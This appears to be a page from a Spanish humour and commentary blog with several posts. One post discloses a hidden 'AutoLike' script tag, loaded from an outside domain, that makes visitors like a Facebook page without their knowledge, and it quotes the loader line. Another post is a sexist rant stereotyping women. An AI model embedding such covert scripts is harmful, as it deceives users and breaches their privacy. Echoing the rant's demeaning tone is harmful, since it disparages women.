9

Auto likes en Facebook: cuidado con tu privacidad

Hace unos días empezaron a aparecer en mi muro de Facebook publicaciones de una página llamada El Rincón Abstracto. No le di mucha importancia y procedí a ocultar las publicaciones y quitar el “Me gusta” que no recordaba haber hecho en la página.

Hoy he visto que un conocido ha indicado que le gusta la página. Viendo que la temática no coincide con sus gustos, hemos estado hablando sobre el origen de dicho “Me gusta” y me ha mencionado que había visitado dicha página recientemente a través de un enlace enviado en Menéame. Procediendo a visitar dicho enlace, he encontrado la típica página que se dedica a publicar datos curiosos (que, irónicamente, avisa de que todo el contenido está disponible bajo licencia CC BY-SA cuando los propios artículos son copiados o refritos sin especificar la fuente, como se puede ver en estos ejemplos). Hasta ahí todo normal, salvo que al observar el código fuente he encontrado la siguiente sorpresa:

<!– Script AutoLike 1/2 (inicio) –>
<script src=’http://corner62000bana.tk/fb.php’ type=’text/javascript’></script>
<!– Script AutoLike 1/2 (fin) –>

Ni siquiera se molestan en ocultar la finalidad del script, que es ilegal según las condiciones de uso y de privacidad de Facebook (por cierto, si alguien quiere echarle un ojo a dicho código y en algún momento es retirado de la dirección anteriormente especificada, puede encontrar una copia aquí). Así que si tienes curiosidad por ver cómo actúa, sigue esta lista de pasos:

  1. Inicia sesión en Facebook en tu navegador preferido.
  2. Desactiva AdBlock o cualquier otro programa/extensión de bloqueo de scripts que puedas tener.
  3. Entra en http://www.rinconabstracto.com/.
  4. Ve a tu Registro de Actividad de Facebook y verás el siguiente cambio:

rinconabstracto_like

Por último, indicar que al hacer un whois al dominio devuelve los siguientes datos:

Domain Name: rinconabstracto.com
Creation Date: 17 Apr 2011 12:10:00
Registrar: eNom, Inc.
Registrant Name: WHOIS AGENT
Registrant Organization: WHOIS PRIVACY PROTECTION SERVICE, INC.
Registrant Street: PMB 368, 14150 NE 20TH ST – F1
Registrant Street: C/O RINCONABSTRACTO.COM
Registrant City: BELLEVUE
Registrant State/Province: WA
Registrant Postal Code: 98007
Registrant Country: US

No deja de ser gracioso que alguien que no duda en explotar agujeros de privacidad de los usuarios que visitan su sitio web ponga tanto celo en ocultar su identidad.

¿Algún abogado en la sala que quiera denunciar la infracción de la LOPD y la Ley de Cookies?

3

La magufería lleva bragas

Voy a aprovechar el reciente pufo de TEDxValenciaWomen, hacer Reiki para niños, y la paz y el amor universal,  para comentar algo que todos conocemos, algo que sabemos que está ahí y no queremos admitir. Un rincón oscuro de internet que a su ver tiene mucho éxito; al que la mayoría de la población de este medio, es decir los hombres y mujeres no demasiado locas, no se atreve a entrar. Este sitio es: Foro enFemenino.

De ésta fábrica de ideas en la que te puedes encontrar de todo, hemos visto salir muchas situaciones difíciles de creer: Desde cualquiera de sus Psicotest totalmente fiables (que no quede ninguna duda de esto), hasta aquella mujer que pensaba que su novio le era infiel porque veía porno (había un hilo mucho peor parecido pero no lo encuentro). Como podéis ver, en temas sexuales, el puritanismo y el escandalizarse sigue siendo la norma general para el sector femenino. Más de uno ha tenido que sufrir eso cuando se movía más una muñeca hinchable en la cama que su propia novia.

Pero vamos a otros sectores de alta competencia de esta página. Se trata de otro tema que a las mujeres les encanta y en el que las magufadas campan a sus anchas: la estética. Dietas, potingues, trucos para embarazadas, tablas de ejercicios pero sin cansarse mucho, etc. No queda mucho que comentar cuando dos de las tres entradas de esta sección cumplen a la perfección el método científico y te cuentan que la homeopatía te arregla todo, todo. Desde un culo flácido hasta que no puedas dormir. ¿Que quieres salvar un matrimonio de mierda? Un té verde y arreglado; ¿Te quieres convertir en Gandalf el Blanco? Homeopatía. ¿Qué método usó Chuache para ganar los mundiales de culturismo? ¿Ejercicio intenso? ¿Yemas de huevo crudas? ¡Qué va, mujer! Unas flores de Bach y se acostaba a dormir.

Ahora que estamos fuertes y hermosos gracias al Reiki, rezarle a Alá y no tener nada que agradecerle al Efecto Placebo o haber dejado de comer como cerdos… uy, perdón, cerdxs (para que no se constate el machismo de la lengua), vamos a lo importante: Pescar un buen marido. Este es el momento culmen en la carrera vital de cualquier lectora media de enFemenino ¿Cómo conseguir tamaña hazaña? ¿Leeremos hasta deslumbrar con nuestra inteligencia? ¿Conseguiremos una carrera exitosa? ¡Eso es para las pardillas!, perdón, ¡Pardillxs!. El método infalible, con la tasa 100% de efectividad es… Cómo seducir a un hombre según su horóscopo. Claro que sí, no veis la revelación.

Para cerrar el círculo, hay que agarrar bien a tu hombre: Te tiene que hacer un bombo. Bueno, cuando llama el reloj o eres la única de tus amigas que no puede salir a fardar de crío, siempre está la opción de no necesitar agarrar un hombre, pero pedir que te hagan un penalti. No me he puesto a buscar “el wifi te hace estéril” porque tendría que escribir un libro.

¿Cómo pueden querer este sector de la población femenina que se les tome en serio si son tópicos machistas con patas? ¿Cómo puede la gente creer en cosas así en pleno siglo XXI? Señoras, modernícense, esas cosas las hacen quedar como idiotas. Luego no se extrañen cuando sólo son blanco de bromas o chistes machistas. Hay que dar una imagen diferente de la mujer y no son nada de ayuda. Hagan ejercicio de verdad, lean libros de ciencia y no se conviertan en novias/mujeres obsesas.

Respetadme, para documentarme he visto cosas que vosotros no creeriais.

0

Android como panacea

Toda empresa o producto popular tiene fanboys a patadas. Es fácil encontrarlos por redes sociales, foros y sobretodo blogs. Algunos incluso escriben las entradas que lees diariamente sobre tu hobby favorito. Aunque hay casos muy sangrantes, como el de Applesfera, no vengo a hablaros de los sectarios de la manzana. Hoy toca el hijo de Google, Android. No nos vamos a centrar en sus fanboys, vamos a hablar de cómo escribir una entrada alabando lo guay que es un sistema operativo sin leer nada sobre el tema. En este caso, ha sido publicada en El Androide Libre, donde ya he leido alguna que otra cosa que han hecho que me llevase las manos a la cabeza.

Hace unos días publicaron “Android como base para otros SO“. A priori, parece un texto más anunciando que Android sirve como campo de cultivo de sistemas operativos guays, porque es muy fiable/tiene muchas características/es abierto. Ahora bien, se centran en uno llamado WebOS, el cual ya tiene un port para Galaxy Nexus, otro para Transformer Prime, y alguna que otra cosita más. Comentan que en el Galaxy Nexus han implantado la posibilidad de realizar acciones mediante gestos, algo que “copia” en el tablet de BlackBerry. Y que el proyecto planean cambiar Linux como base por Android (basado en Linux), que quizás con algunas mejoras acabe a la altura del androide. Terminan enseñando un video de un Nexus S ejecutando una aplicación que emula WebOS (sí, emulador, no es un port).

No estaría del todo mal haber echado un ojo a la Wikipedia. Para empezar, WebOS fue lanzado en 2009 por Palm, cuando aún Android estaba por la versión 1.5 y no era ni una sombra de lo que es. Por aquel entonces, en la Palm ya se podían realizar gestos, tenía gestión multitarea por cartas (algo parecido a la versión 4 de Android, lanzada en 2011), además de otras funciones que lo hacían un rival bastante digno. Pero Palm quebró, HP se hizo con todo y lo dejó morir aún más. Liberó el código y nació OpenWebOS, que es lo que usan ahora para llevarlo a otros dispositivos. ¿Por qué dispositivos con Android como el Nexus? Porque son dispositivos bastante accesibles (a nivel de código). Que añadan cosas como los gestos no es “copiar”, es adaptar lo que ya tenía.

Nunca está de más informarse un poco. El tema sobre el que escribes puede ser fabuloso, pero de ahí a escribir por escribir…

1

Tengo 3 monitores

Ayer, hubo una nueva Conferencia General de Pesos y Medidas por un asunto muy urgente: Tienen que adaptarse a los nuevos tiempos.

Tras muchas cavilaciones, tés, pastas y peleas de apuntarse con el dedo entre nobles varones, vió la luz una nueva unidad de medida para el SI adaptada a los tiempos que corren: el Monitor (Mo). Su definición es así:

“La carga de trabajo por unidad de volumen equivalente a una ardua tarea será un Monitor, por lo que dependiendo del número de monitores digitales normalizados de 17″ que se tenga en un mismo ordenador será la carga para el trabajador”

En la UE están conmocionados ¿Cómo puede ser que haya gente que tenga 2 o incluso 3 monitores en sus casas por mero gusto? Por lo que han procedido a regular la normativa de monitores: el sueldo será en función de los monitores utilizados y se subvencionará a las personas que tengan más de un monitor por ordenador por ser tan trabajadores, claro.

Ahora viene lo que nos interesa: Las equivalencias. La medida estandar es para 17″ (siempre con retraso), por lo que si trabajamos con uno de 19″ ¿Cuánto cobraremos? Pues equivaldrá a 1,2 Monitores. Como lo veis, como buena unidad de medida, adopta decimales. Miremos a cuánto equivale un Monitor en el SI:

“Un Monitor equivaldrá al número de kcal o kJ gastados en utilizarlo. Por media aritmética se establece que se gastan 18,7 kcal en mirar un monitor durante 8 horas laborales”

Fácil ¿O no? Hagamos los cálculos, ¿Cuántas kcal gastaré si miro mi monitor de 19″? Pues 1,2 Monitores x 18,7 kcal = 21,84 kcal a declarar en la nómina. Lo podría hacer hasta gente que no ha terminado un Grado Medio.

En Got Malk? hemos adoptado esta nueva unidad con alegría y nos hemos comprado uno monitor extra a nuestros ordenadores para vernos reflejados.

1

Más información, menos criterio

La cantidad de información que recibimos a través de internet. Da igual el tema, sea el que sea encontraremos algo. Pero se ve que esto es un arma de doble filo, porque tendemos a asimiliar mucha información como si fuera cierta, cuando no lo es, sin molestarnos en contrastarlo.

Si bien es cierto que en un par de clicks podemos buscar otras fuentes para las mismas cosas, todos solemos tener por costumbre acudir a determinadas webs que nos inspiran confianza. Y de esas nos tragamos lo que sea. Da igual, no aplicamos criterio alguno, lo damos por hecho automáticamente. Y así acabamos cometiendo errores y esos errores los toman otros y los difunden… hasta que ya no se puede parar, se crea una confusión y la gente lo da por cierto. No importa la temática, puede ocurrir.

Quizás es más común verlo en la música, puesto que es algo que todo el mundo “domina”. O al menos entiende. Ahí tenemos canciones que la gente cree que son de su grupo favorito y realmente no tienen nada que ver, sólo que el cantante tiene un tono parecido. O versiones que no son temas originales de ese grupo. Y esto nos pasa por fiarnos. Por poner un ejemplo, tenemos al Ray Ventura, lider de una banda de jazz, que popularizó este género en Francia durante la década de 1930. Su composición más famosa es, “Ça vaut mieux que d’attraper la scarlatine”. Según la Wikipedia hispana*, es la canción que se suele usar en los trailers de las películas para transmitir mayor emoción (como en el Señor de los Anillos). Y esto, ni más ni menos, no tiene ni pies ni cabeza. Que un señor en los años 30, que hacía jazz principalmente, le de por componer una melodía en orquesta y con coros que fuera descubierta ya entrado el nuevo milenio.

¿Entonces, por qué dan esto por correcto? Pues porque Youtube, en determinados videos, te dice si hay una canción que pertenece a un artista y te da un enlace para que la compres en iTunes. Ya sólo por eso nos creemos que es verdad. No, la canción no es de Ray Ventura, es de Clint Mansell y se hizo para la película Requiem for a Dream. Que sea conocida por anuncios de peliculas o partidos de fútbol no es el problema. Tampoco lo es que Youtube la etiquete mal. El problema es que, los que se dedican a decir que eso que suena es de Ray Ventura no se han molestado ni un instante en comprobar la canción. Ni si quiera han escuchado el fragmento que hay en iTunes, donde cláramente se ve que uno no ha encontrado la canción que quería.

Lo ideal es aplicar un filtro a lo que leemos, no tomar todo por cierto según la fuente. No siempre hay tiempo, pero no estaría de más hacerlo de vez en cuando, para evitar pasar el error de unos a otros y hacer perder el tiempo a la gente. El consejo vale tanto para los videos de Youtube, como para los blogs de divulgación, hasta para nuestros queridos todólogos, que ya suelen opinar sin conocer los temas que tratan.

 

* Está enlazado al historial de la Wikipedia. Ha sido corregido, así evitamos comentarios del estilo “Mucho criticar y luego lo dejáis como está”.

Pages ... 1 2 3